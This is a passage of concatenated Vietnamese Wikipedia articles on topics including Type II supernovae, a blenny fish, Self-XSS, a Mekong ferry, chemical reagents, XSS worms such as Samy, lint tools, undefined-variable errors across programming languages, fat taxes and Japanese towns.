ngày, so với 0,012 độ sáng tuyệt đối trên một ngày của siêu tân tinh loại II-L. Sự khác nhau về hình dạng của đường cong cường độ ánh sáng được cho là bởi sự phóng ra hầu hết toàn bộ hydro lớp vỏ của sao tiền khởi, đối với trường hợp của siêu tân tinh loại II-L. Giai đoạn đường cong cường độ ánh sáng đi ngang trong trường hợp siêu tân tinh loại II-P là do sự thay đổi độ chắn sáng của lớp bên ngoài. Sóng xung kích ion hóa hydro của lớp bên ngoài – tước electron khỏi nguyên tử hydro – làm tăng độ chắn sáng. Điều này ngăn cản các photon từ bên trong vụ nổ thoát ra ngoài. Khi hydro đủ lạnh để tái kết hợp, lớp bên ngoài trở lên trong suốt. Siêu tân tinh loại IIn Chữ "n" ký hiệu cho những dãy vạch phát xạ hydro hẹp trong quang phổ (narrow).Trong trường hợp trung gian vạch có độ rộng hơn, vật chất phóng ra từ vụ nổ có thể tương tác mạnh với khí gas xung quanh sao – môi trường liên sao. Mật độ môi trường liên sao ước tính cần thiết để giải thích các tính chất quan sát được là cao hơn so với dự đoán từ mô hình chuẩn của lý thuyết tiến hóa sao. Các nhà thiên văn thường giả thiết rằng mật độ môi trường liên sao cao là do tốc độ mất khối lượng lớn ở sao tiền khởi của siêu tân tinh loại IIn. Tốc độ mất khối lượng ước tính cao hơn điển hình khoảng trên một năm. Có những dấu hiệu cho thấy chúng có nguồn gốc từ những sao khổng lồ biến đổi xanh (luminous blue variable) với tốc độ mất khối lượng rất lớn trước khi chúng phát nổ. SN 1998S và SN 2005gl là các ví dụ của siêu tân tinh loại IIn; SN 2006gy, một siêu tân tinh cực kỳ mạnh mẽ, có thể là một ví dụ khác. Một số siêu tân tinh loại IIn thể hiện tương tác với môi trường liên sao, dẫn đến sự tăng nhiệt độ trong bụi liên sao. Đám bụi ấm này có thể quan sát thấy như đang sáng lên dưới bước sóng hồng ngoại trung. Nếu môi trường liên sao mở rộng xa hơn từ siêu tân tinh, sự sáng lên trong bước sóng hồng ngoại trung có thể gây ra hiện tượng vọng hồng ngoại trong các bức ảnh chụp, làm cho sự sáng lên kéo dài đến hơn 1000 ngày. Loại siêu tân tinh này thuộc về siêu tân tinh loại hiếm tương tự như siêu tân tinh 2010jl, SN 2010jl. Hầu hết siêu tân tinh kiểu 2010jl được phát hiện từ dữ liệu quan sát của Kính thiên văn không gian Spitzer và Kính thiên văn khảo sát hồng ngoại trường rộng (WISE) (ví dụ SN 2014ab, SN 2017hcc). Siêu tân tinh loại IIb Siêu tân tinh loại IIb ban đầu có quang phổ vạch hydro yếu, điều này giải thích tại sao nó được phân loại vào siêu tân tinh loại II. Tuy vậy, sau một thời gian vạch phát xạ H không còn tồn tại phát hiện được, và cũng có một đỉnh yếu thứ hai trong đường cong cường độ ánh sáng mà có quang phổ rất giống với siêu tân tinh loại Ib. Sao tiền khởi có là một sao khối lượng lớn đã phóng ra phần lớn lớp vật chất bao ngoài, hoặc mất hầu hết lớp bao hydro do tương tác với một sao đồng hành trong hệ đôi, để lại lõi chứa phần lớn là heli. Khi vật chất phóng ra từ siêu tân tinh loại IIb mở rộng, lớp hydro nhanh chóng trở lên trong suốt và tiết lộ các lớp sâu bên trong. Ví dụ điển hình của siêu tân tinh loại IIb là SN 1993J, hoặc tàn tích siêu tân tinh Cassiopeia A. Lớp IIb được giới thiệu lần đầu tiên (khi ấy là một khái niệm lý thuyết) bởi Woosley và các cộng sự vào năm 1987, và lớp này sớm được xác nhận bởi sự kiện SN 1987K và SN 1993J. Xem thêm Lịch sử quan sát siêu tân tinh Tàn tích siêu tân tinh Tham khảo Liên kết ngoài List of all known Type II supernovae at The Open Supernova Catalog. Loại 2
19852880
https://vi.wikipedia.org/wiki/Cirripectes%20perustus
Cirripectes perustus
Cirripectes perustus là một loài cá biển thuộc chi Cirripectes trong họ Cá mào gà. Loài này được mô tả lần đầu tiên vào năm 1959. Từ nguyên Tính từ định danh perustus trong tiếng Latinh có nghĩa là “cháy hết”, hàm ý có lẽ đề cập đến màu đỏ và vàng như lửa cháy của loài cá này. Phân bố và môi trường sống Từ Kenya, C. perustus có phân bố rộng khắp khu vực Ấn Độ Dương - Thái Bình Dương, trải dài về phía đông đến quần đảo Caroline và Kiribati, ngược lên phía bắc đến đảo Đài Loan, phía nam đến Papua New Guinea. Ở Việt Nam, C. perustus được ghi nhận tại cù lao Câu (Bình Thuận). C. perustus xuất hiện trên các rạn san hô ở vùng gian triều, đến độ sâu ít nhất là 25 m. Mô tả Chiều dài chuẩn lớn nhất được ghi nhận ở C. perustus là 8,2 cm. Đây là loài dị hình giới tính, nhìn chung vây ngực đều có 5 tia vây dưới cùng là có chóp đỏ; mống mắt có vòng vàng quanh đồng tử, phần còn lại của mống mắt màu trắng bạc. Đầu và thân cá cái màu xám đến nâu vàng với các đốm đỏ dần chuyển thành nâu sẫm ở phía sau; có sọc chéo nhạt từ môi trên ngược lên gáy, ngang hốc mắt; vây ngực màu nâu. Cá đực không có đốm, màu vàng ở thân trước và nâu đỏ ở thân sau; vây ngực màu vàng. Số gai vây lưng: 11–12; Số tia vây lưng: 14–15; Số gai vây hậu môn: 2; Số tia vây hậu môn: 14–16; Số tia vây ngực: 15; Số gai vây bụng: 1; Số tia vây bụng: 3. Sinh thái Thức ăn của C. perustus là tảo. Trứng của chúng có chất kết dính, được gắn vào chất nền thông qua một tấm đế dính dạng sợi. Cá bột là dạng phiêu sinh vật, thường được tìm thấy ở vùng nước nông ven bờ. Tham khảo P Cá Ấn Độ Dương Cá Thái Bình Dương Cá Kenya Cá Madagascar Cá Seychelles Cá Maldives Cá Thái Lan Cá Việt Nam Cá New Guinea Cá Philippines Cá Đài Loan Động vật được mô tả năm 1959
19852881
https://vi.wikipedia.org/wiki/Self-XSS
Self-XSS
Self-XSS (tự viết kịch bản chéo trang) là một cuộc tấn công kỹ thuật xã hội được sử dụng để giành quyền kiểm soát tài khoản web của nạn nhân. Trong cuộc tấn công Self-XSS, nạn nhân của cuộc tấn công vô tình chạy mã độc trong trình duyệt web của chính họ, do đó làm lộ thông tin cá nhân cho kẻ tấn công, một loại lỗ hổng được gọi là kịch bản chéo trang. Tổng quan Self-XSS hoạt động bằng cách lừa người dùng sao chép và dán nội dung độc hại vào bảng điều khiển dành cho nhà phát triển web trên trình duyệt của họ. Thông thường, kẻ tấn công đăng một thông báo lừa người dùng sao chép và chạy một số mã nhất định để phần thưởng ảo hoặc hack một trang web. Trên thực tế, đoạn mã này cho phép kẻ tấn công chiếm đoạt tài khoản của nạn nhân. Tham khảo Đọc thêm McCaney, Kevin (November 16, 2011). "4 ways to avoid the exploit in Facebook spam attack". GCN. 1105 Public Sector Media Group. Khai thác bảo mật web
19852910
https://vi.wikipedia.org/wiki/Ph%C3%A0%20%C4%90%C3%ACnh%20Khao
Phà Đình Khao
Phà Đình Khao là một tuyến phà nằm trên quốc lộ 57, với bờ bắc thuộc xã Hòa Ninh và bờ nam thuộc xã Thanh Đức, huyện Long Hồ, tỉnh Vĩnh Long. Phà Đình Khao, một tuyến phà quan trọng, chủ yếu phục vụ việc di chuyển người và phương tiện qua sông Cổ Chiên. Nó đóng vai trò cầu nối giữa Bến Tre và Vĩnh Long, thông qua huyện Chợ Lách. Ngoài ra, Phà Đình Khao cũng kết nối Thành phố Vĩnh Long với bốn xã thuộc Cù lao An Bình, tạo điều kiện thuận lợi cho việc di chuyển và phát triển kinh tế khu vực. Kẹt phà Phà Đình Khao, một tuyến phà quan trọng nối tỉnh Vĩnh Long và Bến Tre, đã gặp phải vấn đề kẹt xe kéo dài trong nhiều ngày. Mặc dù đã được bố trí 5 chiếc phà phục vụ nhu cầu đi lại ngày giáp Tết, tình trạng ùn tắc vẫn xảy ra, với hàng xe xếp dài cả cây số. Nguyên nhân chính cho tình trạng này là do lượng xe tải qua phà Đình Khao quá đông, đặc biệt trong những ngày cận Tết, khi các tài xế xe tải qua Chợ Lách, Bến Tre để vận chuyển hoa, cây kiểng và trái cây cung cấp cho các tỉnh thành như Cần Thơ, Hậu Giang, Cà Mau, Kiên Giang. Điều này đã dẫn đến tình trạng kẹt xe, ùn tắc nghiêm trọng, khiến nhiều tài xế phải mất tới 2 giờ đồng hồ mới qua được phà. Để giải quyết vấn đề này, các cơ quan chức năng đã đề xuất một số giải pháp, bao gồm việc in vé số lượng lớn rồi bán lưu động cho các tài xế nhằm giảm ùn tắc. Đồng thời, họ cũng phối hợp với các cơ quan chức năng khác để điều tiết giao thông tại 2 đầu bến. Hình ảnh Tham khảo Xem thêm Phà Vàm Cống Vĩnh Long Long Hồ Vĩnh Long Chợ Lách Bến Tre
19852912
https://vi.wikipedia.org/wiki/Thu%E1%BB%91c%20th%E1%BB%AD%20h%C3%B3a%20h%E1%BB%8Dc
Thuốc thử hóa học
Trong hóa học, thuốc thử hóa học là chất hoặc hợp chất được thêm vào hệ thống để gây ra phản ứng hóa học hoặc kiểm tra xem phản ứng đó có xảy ra hay không. Thuật ngữ chất phản ứng và thuốc thử hóa học thường được sử dụng thay thế cho nhau, nhưng chất phản ứng chỉ một chất được tiêu thụ trong quá trình sử dụng hóa chất phản ứng. Dung môi, mặc dù có liên quan đến cơ chế phản ứng, thường không được gọi là chất phản ứng. Tương tự, chất xúc tác không bị tiêu hao trong phản ứng nên chúng không phải là chất phản ứng. Trong hóa sinh, đặc biệt là liên quan đến các phản ứng được xúc tác enzym, các chất phản ứng thường được gọi là cơ chất. Định nghĩa Hóa hữu cơ Trong hóa học hữu cơ, thuật ngữ "thuốc thử hóa học" biểu thị một thành phần hóa học (một hợp chất hoặc hỗn hợp, điển hình là các phân tử hữu cơ vô cơ hoặc nhỏ) được đưa vào để tạo ra sự biến đổi mong muốn của một chất hữu cơ. Các ví dụ bao gồm thuốc thử Collins, thuốc thử Fenton và thuốc thử Grignard. Hóa phân tích Trong hóa học phân tích, thuốc thử hóa học là hợp chất hoặc hỗn hợp được sử dụng để phát hiện sự có mặt hay vắng mặt của chất khác, ví dụ: bằng cách thay đổi màu sắc hoặc để đo nồng độ của một chất, ví dụ: bằng đo màu. Ví dụ bao gồm thuốc thử Fehling, thuốc thử Millon và thuốc thử Tollens. Chế phẩm thương mại hoặc phòng thí nghiệm Trong các chế phẩm thương mại hoặc trong phòng thí nghiệm, cấp thuốc thử chỉ định chất hóa học đáp ứng tiêu chuẩn của độ tinh khiết đảm bảo độ chính xác và độ tin cậy về mặt khoa học của phân tích hóa học, phản ứng hóa học hoặc thử nghiệm vật lý. Tiêu chuẩn về độ tinh khiết của thuốc thử được đặt ra bởi các tổ chức như ASTM International hoặc American Chemical Society. Ví dụ, nước chất lượng thuốc thử phải có hàm lượng tạp chất rất thấp như ion natri và clorua, silica và vi khuẩn, cũng như điện trở suất rất cao. Các sản phẩm trong phòng thí nghiệm ít tinh khiết hơn nhưng vẫn hữu ích và tiết kiệm cho công việc đơn giản, có thể được chỉ định là cấp độ kỹ thuật, thực tế hoặc thô để phân biệt chúng với các phiên bản thuốc thử. Sinh học Trong lĩnh vực sinh học, cuộc cách mạng công nghệ sinh học vào những năm 1980 phát triển từ sự phát triển của thuốc thử hóa học có thể được sử dụng để xác định và điều khiển các chất hóa học bên trong và bên ngoài tế bào. Những thuốc thử này bao gồm kháng thể (đa dòng và đơn dòng), oligomer, tất cả các loại sinh vật mô hình và dòng tế bào bất tử, thuốc thử hóa học và phương pháp nhân bản phân tử và sao chép DNA, cùng nhiều loại khác. Xem thêm Hạn chế thuốc thử Thuốc thử thông dụng Sản phẩm Chất nền Tham khảo Liên kết ngoài Kỹ thuật và công cụ sinh học Phản ứng hóa học Thuốc thử hóa sinh
19852979
https://vi.wikipedia.org/wiki/S%C3%A2u%20XSS
Sâu XSS
Sâu XSS, đôi khi được gọi là vi rút tạo tập lệnh chéo trang, là một payload độc hại (hoặc đôi khi không độc hại), thường được viết bằng JavaScript, vi phạm bảo mật trình duyệt để lan truyền giữa những khách truy cập trang web nhằm cố gắng dần dần lây nhiễm cho những du khách khác. Chúng được đề cập lần đầu tiên vào năm 2002 liên quan đến lỗ hổng tập lệnh chéo trang trong Hotmail. Ý tưởng Sâu XSS khai thác lỗ hổng bảo mật được gọi là tập lệnh chéo trang (hay gọi tắt là XSS) trong một trang web, lây nhiễm cho người dùng theo nhiều cách khác nhau tùy thuộc vào lỗ hổng. Các tính năng của trang web như hồ sơ và hệ thống trò chuyện có thể bị ảnh hưởng bởi sâu XSS khi triển khai không đúng cách hoặc không quan tâm đến bảo mật. Thông thường, những sâu này chỉ dành riêng cho một trang web, lây lan nhanh chóng bằng cách khai thác các lỗ hổng cụ thể. Các lỗ hổng kịch bản chéo trang thường được khai thác dưới dạng sâu trên các trang web xã hội hoặc thương mại phổ biến, chẳng hạn như MySpace, Yahoo!, Orkut, Justin.tv, Facebook và Twitter. Những sâu này có thể được sử dụng cho mục đích xấu, tạo cơ sở cho kẻ tấn công đánh cắp thông tin cá nhân được cung cấp cho trang web, chẳng hạn như mật khẩu hoặc số thẻ tín dụng. Một số ví dụ Một vài sâu XSS đã ảnh hưởng đến các trang web phổ biến. Sâu Samy Sâu Samy, sâu XSS lớn nhất được biết đến, đã lây nhiễm hơn 1 triệu hồ sơ MySpace trong vòng chưa đầy 20 giờ. Tác giả của virus đã bị kiện và đưa ra thỏa thuận nhận tội về một trọng tội. Sâu Justin.tv Justin.tv là một trang web truyền video với số lượng người dùng hoạt động khoảng 20 nghìn người. Lỗ hổng tập lệnh chéo trang đã bị khai thác là trường hồ sơ "Vị trí" không được "vệ sinh" đúng cách trước khi đưa nó vào trang hồ sơ. Trường hồ sơ "Vị trí" đã được làm sạch khi được đưa vào tiêu đề của trang hồ sơ nhưng không nằm trong trường thực tế trong nội dung trang. Điều này có nghĩa là các tác giả của sâu, để đạt được khả năng tàng hình nhằm tăng thời gian tồn tại và lây lan của sâu, phải tự động xóa tải trọng XSS khỏi tiêu đề của trang từ bên trong mã của sâu, vốn đã bị ẩn bởi các bình luận. Sau khi phát triển sâu, nó được thực thi vào khoảng Thứ Bảy, ngày 28 tháng 6 năm 2008 21:52:33 UTC và kết thúc vào Chủ Nhật, ngày 29 tháng 6 năm 2008 21:12:21 UTC. Vì trang web xã hội được nhắm mục tiêu không hoạt động đặc biệt (so với các mục tiêu sâu XSS phổ biến khác), sâu này đã lây nhiễm tổng cộng 2525 hồ sơ trong vòng khoảng 24 giờ. Sâu đã được tìm thấy vài giờ trước khi bị loại bỏ thành công và dựa trên dữ liệu được ghi lại (do mục đích ban đầu của sâu là nhằm mục đích nghiên cứu), sâu có thể lây nhiễm các hồ sơ không bị nhiễm sau khi chúng được các nhà phát triển Justin.tv khử trùng một cách mạnh mẽ. . Con sâu này đã được "khử trùng" một lần nữa sau khi lỗ hổng được vá và nó có thể bị loại bỏ một cách dễ dàng. Tuy nhiên, điều này cho thấy khả năng thích ứng và lây lan của sâu ngay cả sau khi phản công. Các yếu tố cụ thể khác được biểu thị bằng biểu đồ và dữ liệu do kẻ tấn công công bố bao gồm hoạt động xã hội và thiếu người dùng mới, không bị lây nhiễm trong một khoảng thời gian. Sâu Orkut "Bom Sabado" Orkut, một trang mạng xã hội, cũng bị tấn công bởi sâu XSS. Người dùng bị nhiễm sẽ nhận được một mẩu tin lưu niệm có chứa dòng chữ "Bom Sabado" (tiếng Bồ Đào Nha, "Thứ Bảy vui vẻ"). Google vẫn chưa bình luận về tình hình. Nguồn tham khảo Xem thêm Bảo mật trình duyệt An toàn mạng Internet An ninh Internet Sâu máy tính Khai thác bảo mật web
19852983
https://vi.wikipedia.org/wiki/Lint%20%28ph%E1%BA%A7n%20m%E1%BB%81m%29
Lint (phần mềm)
Lint là một thuật ngữ trong khoa học máy tính, dùng để chỉ một công cụ phân tích mã tĩnh được sử dụng để đánh dấu các lỗi lập trình, lỗ hổng, lỗi về phong cách và các cấu trúc khả nghi trong mã nguồn. Thuật ngữ bắt nguồn từ một tiện ích Unix dùng để kiểm tra mã nguồn ngôn ngữ C. Các chương trình thực hiện các chức năng này được gọi là "linter". Lịch sử Năm 1978, trong khi gỡ lỗi văn phạm yacc cho ngôn ngữ C và giải quyết các vấn đề tương thích liên quan đến việc đưa hệ điều hành Unix lên máy 32-bit, Stephen C. Johnson, một nhà khoa học máy tính tại Bell Labs, đã nghĩ ra thuật ngữ "lint". Thuật ngữ được mượn từ từ "lint" trong tiếng Anh có nghĩa là xơ vải, bởi vì công cụ mà ông viết có tác dụng như một cái bẫy xơ vải trong máy sấy quần áo, thu gom các sợi xơ thừa mà vẫn giữ nguyên vẹn phần vải nguyên vẹn. Năm 1979, lập trình lint lần đầu tiên được sử dụng bên ngoài Bell Labs trong phiên bản thứ bảy của Unix. Trải qua nhiều năm, có nhiều phiên bản lint đã được phát triển cho phần mềm biên dịch các ngôn ngữ C và C++. Mặc dù các phần mềm biên dịch hiện đại có những chức năng tương tự lint, các công cụ kiểu lint cũng đã nâng cao khả năng của chúng, chẳng hạn như PC-Lint của Gimpel ra mắt lần đầu năm 1985, được sử dụng để phân tích mã nguồn C++, vẫn được mở bán cho đến ngày nay. Tổng quan Trong bài báo gốc vào năm 1978, Johnson đã trình bày lý do của ông khi tạo ra một chương trình riêng để phát hiện lỗi, khác biệt với chương trình mà nó phân tích: "...tự bản chất việc có hai chương trình là điều tốt..." [bởi vì chúng tập trung vào những thứ khác nhau, do đó cho phép lập trình viên] "tập trung vào một giai đoạn của quy trình lập trình chỉ trên các thuật toán, cấu trúc dữ liệu và tính chính xác của chương trình, và sau đó với sự trợ giúp của lint, họ có thể cải tiến thêm các đặc tính mong muốn về tính tổng quát và khả năng tương thích". Các phiên bản linter tiếp theo Các công cụ phân tích mã kiểu Lint cũng có thể thực hiện phân tích tương tự như trình biên dịch tối ưu, nhằm tạo ra mã chạy nhanh hơn. Mặc dù các trình biên dịch hiện đại đã tích hợp nhiều chức năng từng có trong Lint, nhưng các công cụ kiểu Lint cũng đã phát triển để phát hiện nhiều cấu trúc khả nghi hơn, bao gồm "cảnh báo về lỗi cú pháp, sử dụng biến chưa khai báo, gọi các hàm đã ngừng sử dụng, quy ước về khoảng cách và định dạng, sử dụng sai phạm vi, chuyển giao ngầm trong lệnh switch, thiếu header bản quyền, [và]... các tính năng ngôn ngữ nguy hiểm". Các công cụ kiểu lint đặc biệt hữu ích cho các ngôn ngữ động như JavaScript và Python, vì trình biên dịch của các ngôn ngữ này thường không áp dụng nhiều quy tắc nghiêm ngặt trước khi thực thi, nên các linter cũng có thể được sử dụng như các công cụ gỡ lỗi đơn giản để các tìm lỗi thông thường (ví dụ: lỗi cú pháp) cũng như các lỗi khó tìm như heisenbugs. Các công cụ kiểu lint thường phân tích tĩnh mã nguồn trước khi thực thi để tìm kiếm lỗi tiếm ẩn. Một số công cụ như Eslint cho phép tự động sửa các quy tắc. Mỗi quy tắc được định nghĩa kèm theo một phép chuyển đổi, giúp ngăn chặn quy tắc đó bị kích hoạt. Các quy tắc về phong cách thường đi kèm với tính năng tự động sửa. Khi chạy công cụ lint ở chế độ 'fix all' (sửa tất cả) trên một tập tin chỉ vi phạm các quy tắc về định dạng, nó sẽ hoạt động giống như một công cụ chuyên dùng để định dạng mã nguồn. Xem thêm Splint (công cụ lập trình) Danh sách công cụ phân tích mã tĩnh Tham khảo Đọc thêm Công cụ phân tích chương trình tĩnh Phần mềm cho Unix Phần mềm trước đây là độc quyền Phần mềm sử dụng giấy phép BSD
19853001
https://vi.wikipedia.org/wiki/Bi%E1%BA%BFn%20ch%C6%B0a%20khai%20b%C3%A1o
Biến chưa khai báo
Một biến chưa khai báo (tiếng Anh: undefined variable) trong mã nguồn của một chương trình máy tính là một biến được sử dụng trong mã nguồn nhưng chưa được chương trình khai báo trước đó. Một số ngôn ngữ lập trình sẽ tự động tạo khai báo cho biến khi lần đầu tiên gặp nó trong quá trình biên dịch. Ngược lại, ở một số ngôn ngữ khác, sử dụng biến chưa khai báo được coi là một lỗi nghiêm trọng, có thể khiến quá trình biên dịch bị dừng và trả về cảnh báo lỗi. Một số ngôn ngữ lập trình ban đầu có tự động khai báo ngầm, nhưng về sau này chúng đã cung cấp tùy chọn để tắt tính năng này (ví dụ như "use warnings" trong Perl hoặc "Option Explicit" trong Visual Basic). Ví dụ Dưới đây là một số ví dụ về cách các ngôn ngữ lập trình khác nhau phản hồi lại biến chưa được khai báo. CLISP (setf y x) trả về: *** - EVAL: variable X has no value C int main() { int y = x; return 0; } trả về: foo.c: In function `main': foo.c:2: error: `x' undeclared (first use in this function) foo.c:2: error: (Each undeclared identifier is reported only once foo.c:2: error: for each function it appears in.) JavaScript ReferenceError chỉ xảy ra trong hai trường hợp: hoặc đoạn mã đã được chạy lại sau khi biến đã được khai báo bằng hoặc (không phải bằng ), hoặc đoạn mã đã được chạy trong strict mode (chế độ nghiêm ngặt). Trong các trường hợp khác, biến đó sẽ có giá trị đặc biệt là . "use strict"; let y = x; let y = x; let x; // gây ra lỗi ở dòng 1 trả về: ReferenceError: x is not defined Source File: file:///c:/temp/foo.js Lua y = x (không có lỗi, tiếp tục chạy) print(y) trả về: nil ML (Standard ML of New Jersey) val y = x; trả về: stdIn:1.9 Error: unbound variable or constructor: x MUMPS Set Y=X trả về: <UNDEF> OCaml let y = x;; trả về: Unbound value x Perl my $y = ($x // 0) + 1; # toán tử hoặc trả về: (no error) PHP 5 $y = $x; (no error) $y=""; $x=""; error_reporting(E_ALL); $y = $x; trả về PHP Notice: Undefined variable: x in foo.php on line 3 Python 2.4 >>> x = y # trả về nội dung dưới đây: Traceback (most recent call last): File "<stdin>", line 1, in <module> NameError: name 'y' is not defined REXX signal on novalue y = x trả về: +++ Error 30 in line 2: Label not found Ruby irb(main):001:0> y = x NameError: undefined local variable or method `x' for main:Object from (irb):1 Tcl % set y $x can't read "x": no such variable VBScript Dim y y = x (không có lỗi) Option Explicit Dim y y = x trả về (3, 1) Microsoft VBScript runtime error: Variable is undefined: 'x' Tham khảo Biến (khoa học máy tính) Lỗi phần mềm
19853006
https://vi.wikipedia.org/wiki/Tr%E1%BA%A7n%20Uy%E1%BB%83n%20%C4%90%C3%ACnh
Trần Uyển Đình
Trần Uyển Đình (; sinh ngày 7 tháng 10 năm 1988) là một cựu cầu thủ và huấn luyện viên bóng đá . Cô là huấn luyện viên trưởng hiện tại của Giang Tô L.F.C. Năm 2016, cô trở thành người phụ nữ đầu tiên huấn luyện một đội bóng đá chuyên nghiệp nam giành chức vô địch giải đấu hàng đầu quốc gia. Năm 2017, cô trở thành người phụ nữ đầu tiên huấn luyện một câu lạc bộ bóng đá nam ở một giải đấu hàng đầu châu lục khi dẫn dắt đội Đông Phương gặp Quảng Châu tại giải AFC Champions League. Sự nghiệp Vào tháng 12 năm 2015, cô được bổ nhiệm làm huấn luận viên Câu lạc bộ thể thao Đông Phương ở Giải bóng đá Ngoại hạng Hồng Kông, thay thế Dương Chính Quang. Cô là nữ huấn luyện viên đầu tiên của giải đấu. Cô quan tâm đến bóng đá bởi sự ngưỡng mộ của cô khi còn là một thiếu niên đối với David Beckham. Cô tốt nghiệp Đại học Trung văn Hồng Kông ngành địa lý năm 2010 và nhận bằng thạc sĩ về khoa học thể thao và quản lý sức khỏe trong thời gian làm việc tại Pegasus và Southern. Bất chấp mong muốn ban đầu của cha mẹ, vị trí đầu tiên của cô sau khi tốt nghiệp đại học là nhà phân tích dữ liệu cho Hong Kong Pegasus FC (khi đó được gọi là TSW Pegasus FC). Trước khi gia nhập Câu lạc bộ bóng đá Đông Phương, cô từng làm trợ lý huấn luyện viên tại các câu lạc bộ ở Giải Ngoại hạng Hồng Kông là Pegasus FC và Khu Nam FC . Cô cũng giữ vai trò huấn luyện cho các đội bóng đá và futsal của hiệp hội bóng đã nữ quốc gia Hồng Kông, đồng thời chơi ở cấp câu lạc bộ không chuyên nghiệp cho một đội từ Sa Điền. Trong thời gian thi đấu cho Pegasus FC, cô đã dẫn dắt đội U18 của họ giành được 3 danh hiệu. Cô đã dẫn dắt đội Đông Phương giành chức vô địch mùa giải 2015 -16, chỉ thua một trong mười lăm trận. Với chiến thắng của Đông Phương, cô trở thành người phụ nữ đầu tiên huấn luyện một đội bóng đá chuyên nghiệp nam giành chức vô địch giải đấu hàng đầu quốc gia. Trong một cuộc phỏng vấn vào tháng 3 năm 2016, cô bày tỏ sự quan tâm đến việc quản lý các đội ở những nơi khác ở châu Á có nền văn hóa bóng đá lâu đời hơn, nhưng cô cũng hy vọng rằng thành công của mình sẽ thúc đẩy đầu tư vào bóng đá ở Hồng Kông. Năm 2016, cô được chọn là một trong Top 100 Phụ nữ của BBC . Năm 2017, cô trở thành người phụ nữ đầu tiên huấn luyện một câu lạc bộ bóng đá nam ở một giải đấu hàng đầu châu lục khi dẫn dắt Đông Phương gặp đội Quảng Châu ở AFC Champions League . Cô từ chức vào tháng 5 năm 2017 với lý do căng thẳng, không giành được danh hiệu trong mùa giải 2016-17 và mong muốn hoàn thành các khóa học chứng chỉ huấn luyện chuyên nghiệp của mình. Vào ngày 18 tháng 7 năm 2018, cô trở lại với vai trò huấn luyện viên trưởng của đội Đông Phương. Cô từ chức sau chưa đầy bảy tháng vào ngày 4 tháng 2 năm 2019 khi chỉ giành được một chiến thắng trong 10 trận đấu. Chú thích Tiền đạo bóng đá nữ Sinh năm 1988 Nhân vật còn sống
19853008
https://vi.wikipedia.org/wiki/Thu%E1%BA%BF%20b%C3%A9o
Thuế béo
Thuế béo là một loại thuế hoặc phí được áp dụng lên các loại thức ăn, đồ uống gây béo phì hoặc đối với những cá nhân béo phì. Thuế béo được xem là một ví dụ về thuế Pigou. Mục đích của thuế béo nhằm hạn chế chế độ ăn uống không lành mạnh và giảm bớt tác động kinh tế của bệnh béo phì. Mục tiêu của thuế béo là giảm thiểu việc tiêu thụ các loại thực phẩm gây ra béo phì. Một ý tưởng liên quan là đánh thuế lên các loại thực phẩm có liên quan đến việc gia tăng nguy cơ mắc bệnh bệnh tim mạch. Nhiều nghiên cứu cho thấy khi giá của một loại thực phẩm giảm, người tiêu dùng thường tăng cân. Thậm chí, hành vi ăn uống có thể phản ứng mạnh hơn với sự gia tăng giá cả hơn là giáo dục dinh dưỡng. Ước tính cho thấy rằng một thuế 1 xu cho mỗi ounce đồ uống có đường có thể làm giảm việc tiêu thụ những đồ uống này 25%. Tuy nhiên, cũng có bằng chứng cho thấy những người béo phì ít phản ứng hơn với sự thay đổi giá cả của thức ăn so với những người có cân nặng bình thường. Để thực hiện thuế béo, cần xác định rõ sản phẩm thực phẩm và đồ uống nào sẽ bị đánh thuế. Điều này cần được thực hiện cẩn thận, vì một loại thuế thực phẩm được chọn lọc không cẩn thận có thể có những hiệu ứng không mong muốn và trớ trêu. Ví dụ, các mẫu tiêu thụ cho thấy rằng việc đánh thuế chất béo no sẽ buộc người tiêu dùng tăng hàm lượng muối, do đó họ đặt mình vào nguy cơ tử vong liên quan đến tim mạch cao hơn. Đề xuất hiện nay thường lựa chọn đồ uống có đường là mục tiêu cho việc đánh thuế. Các nghiên cứu cắt ngang, tiềm năng và thực nghiệm đã tìm thấy mối liên giữa béo phì và việc tiêu thụ đồ uống có đường. Tuy nhiên, các nghiên cứu thực nghiệm không phải lúc nào cũng tìm thấy mối liên này và mức độ ảnh hưởng có thể rất nhỏ. Vì người nghèo chi tiêu tỷ lệ lớn hơn thu nhập của họ vào việc mua thực phẩm, thuế béo có thể là một loại thuế lũy thoái. Đánh thuế các loại thực phẩm chỉ cung cấp chủ yếu ca-lo với ít giá trị dinh dưỡng khác sẽ giảm bớt vấn đề này, vì ca-lo có sẵn từ nhiều nguồn trong chế độ ăn của các quốc gia công nghiệp hóa. Để giảm bớt gánh nặng của thuế béo đối với người nghèo, những người ủng hộ đề xuất sử dụng doanh thu từ thuế để hỗ trợ chế độ ăn uống lành mạnh và giáo dục về sức khỏe. Ngoài ra, những người ủng hộ cũng cho rằng thuế béo sẽ không quá chịu ảnh hưởng tiêu cực nếu nó giúp giảm chi phí y tế và chi tiêu cho các loại thực phẩm dành cho người nghèo. Khác với việc đặt giới hạn đối với các loại thực phẩm hoặc thành phần, thuế béo sẽ không hạn chế sự lựa chọn của người tiêu dùng, chỉ thay đổi giá cả tương đối. Tham khảo Liên kết ngoài Rudd Center for Food Policy and Obesity at Yale University Y tế công cộng
19853017
https://vi.wikipedia.org/wiki/Happ%C5%8D%2C%20Akita
Happō, Akita
là thị trấn thuộc huyện Yamamoto, tỉnh Akita, Nhật Bản. Tính đến ngày 1 tháng 10 năm 2020, dân số ước tính thị trấn là 6.577 người và mật độ dân số là 28 người/km2. Tổng diện tích thị trấn là 234,1 km2. Địa lý Đô thị lân cận Akita Noshiro Fujisato Aomori Ajigasawa Fukaura Khí hậu Tham khảo Thị trấn của Akita
19853028
https://vi.wikipedia.org/wiki/Oshamambe%2C%20Hokkaid%C5%8D
Oshamambe, Hokkaidō
là thị trấn thuộc huyện Yamakoshi, phó tỉnh Oshima, Hokkaidō, Nhật Bản. Tính đến ngày 1 tháng 10 năm 2020, dân số ước tính thị là 5.109 người và mật độ dân số là 16 người/km2. Tổng diện tích thị trấn là 310,8 km2. Địa lý Đô thị lân cận Oshima Yakumo Hiyama Imakane Shiribeshi Kuromatsunai Shimamaki Iburi Toyoura Khí hậu Tham khảo Thị trấn của Hokkaidō
19853037
https://vi.wikipedia.org/wiki/Zafrona%20dentata
Zafrona dentata
Zafrona dentata là một loài ốc biển, là động vật thân mềm chân bụng sống ở biển trong họ Columbellidae. Phân bố Loài sinh vật biển này xuất hiện ngoài khơi của Madagascar. Tham khảo Perugia, I. (2023). New Zafrona from South Madagascar. Malacologia Mostra Mondiale. 118: 19-20 dentata Động vật được mô tả năm 2023
19853040
https://vi.wikipedia.org/wiki/Volvarina%20vinosa
Volvarina vinosa
